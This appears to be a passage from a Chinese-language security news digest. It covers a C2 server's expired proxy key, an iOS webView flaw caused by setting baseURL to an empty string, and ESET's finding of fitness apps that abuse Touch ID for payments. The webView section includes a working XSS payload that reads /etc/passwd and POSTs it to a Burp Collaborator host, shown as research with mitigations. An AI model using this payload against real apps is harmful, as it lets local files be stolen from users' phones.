但是也有C2服务器的proxy.txt文件中不含有代理地址,而是一个HTML文件。该文件是一个503服务不可达的错误页面副本,其中含有一个到api.best-proxies.ru的链接。文件也是俄语的,翻译过来就是“认证错误,key的有效期已过,请购买新key”。

C2服务器错误文件截图显示,攻击者没有更新用来访问代理列表的API key。

如何应对

为了防止WordPress网站成为暴力破解攻击的受害者,管理员应该对错误登陆进行限制和锁定等策略。

本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。

该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

当baseURL被设置为空字符串时,攻击者可以绕过SOP保护访问APP的文件系统(使用file:// url方案)和任何外部网站。

另一个需要注意的方法是loadData:MIMEType:textEncodingName:baseURL。

错误配置可以以多种方式利用。最常见的就是文件共享,用户可以在web视图中打开文件。比如一个简单的XSS payload:

<script>
       var request = new XMLHttpRequest();
       request.open("GET","file:///etc/passwd",false);
       request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
       request.send(request.responseText);
</script>

这个简单的payload可以打开手机的/etc/passwd文件,然后发送其中的内容到攻击者服务器。

研究人员将其保存为.html文件,并于iCloud进行同步,然后再通过苹果的Files APP在APP内分享。

然后,当用户打开该文件时:

研究人员就接收到了用户的etc/passwd文件。

其他潜在的利用方法有:

· APP内打开URL/Web浏览:攻击者可以发送给受害者一个恶意URL,当用户点击时,就可以在APP的web视图中打开链接。

· URL scheme滥用:攻击者可以通过邮件或iMessage等外部通信方式发送一个恶意URL。如果打开链接的URL scheme在webView中,就可以进行利用。

如何应对?

应对该漏洞的最简单的办法就是将baseURL参数设置为about:blank而不是空字符串。比如:

 [webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在webView已经从手机的文件系统中沙箱化了,攻击者可能可以进行弹窗,但是不能窃取数据或与恶意服务器进行通信。如果用户从文件系统中加载内嵌图像,该方案可能会干预APP的这一功能。

如果开发者选择使用新的WKWebView类,而不是老版本的UIWebView,那么这类攻击发生的可能性就会小很多。因为WKWebView增强了安全性,默认情况下不允许对本地文件系统进行AJAX请求,所以前面描述的攻击就都不能实现了。而且WKWebView还有一个开启/关闭JavaScript执行的新功能。

研究人员近期发现多个伪装成健身工具的iOS APP,这些APP误用Apple设备Touch ID特征来从iOS用户账户中偷钱。App使用了一种巧妙的支付方式,即让受害者为了健身作用而扫描指纹。

恶意软件活动

有许多APP都说可以帮助用户塑造更健康的生活方式。研究人员在Apple APP Store中发现两款假冒健身的APP,分别是Fitness Balance app和Calories Tracker app。第一眼看上去像是一个健身的APP,比如会计算用于BMI、追踪每日卡路里摄入量、提醒用户多喝水等。

但这些服务背后的成本都很高。当用户首次使用前面提到这两款APP时,APP会请求扫描指纹来查看个人卡路里跟踪和饮食建议,如图1所示。但当用户把手指放在指纹扫描器上后,APP会弹出一个支付窗口,分别是99.99、119.99和139.99欧元,如图2所示。

如果用户的Apple账户上绑定了银行卡,这个弹出窗口就只会显示一秒,交易马上就会确认,并且钱会被转到背后的运营者账户中。

根据用户接口和功能分析,这两个APP应该是同一个开发者开发的。

Scam iOS apps

图1 –Apple App Store中要求用户扫描指纹的健身APP

Scam iOS apps

图2 –Fitness Balance app和Calories Tracker app弹出的支付窗口

如果用户拒绝在Fitness Balance app中扫描指纹,就会出现另一个弹出窗口,让用户点击continue按钮才能使用APP。如果用户同意,APP会重复刚才的支付步骤。

虽然Fitness Balance app是恶意的,但是仍然收到了许多个5星好评,平均得分4.3星,而且最近有18个用户的正面评价。攻击者发布虚假评论也是提高APP声誉常用的一种方式。

受害者也将这些APP的情况报告给了apple,并要求从APP store中移除。甚至有用户直接联系了Fitness Balance app的开发者,都只收到会在下一个版本v1.1中修复报告的问题,如图3所示。

Scam iOS apps

图3 – 用户联系恶意软件开发者得到的回复

如何应对此类风险?

Apple不允许App Store中有安全产品,因此用户智能依赖APPLE自己的实现的安全措施。

ESET研究人员建议用户在下载APP前多看看负面评论,因为负面评论更真实。

iPhone X用户可以激活苹果的双击支付(Double Click to Pay)新特征,该特征要求用户双击侧键来确认支付信息,如图4所示。

Scam iOS apps

图4 –iPhone X中的双击支付确认

如果已经是攻击活动的受害者了,可以尝试要求Apple App Store进行赔偿。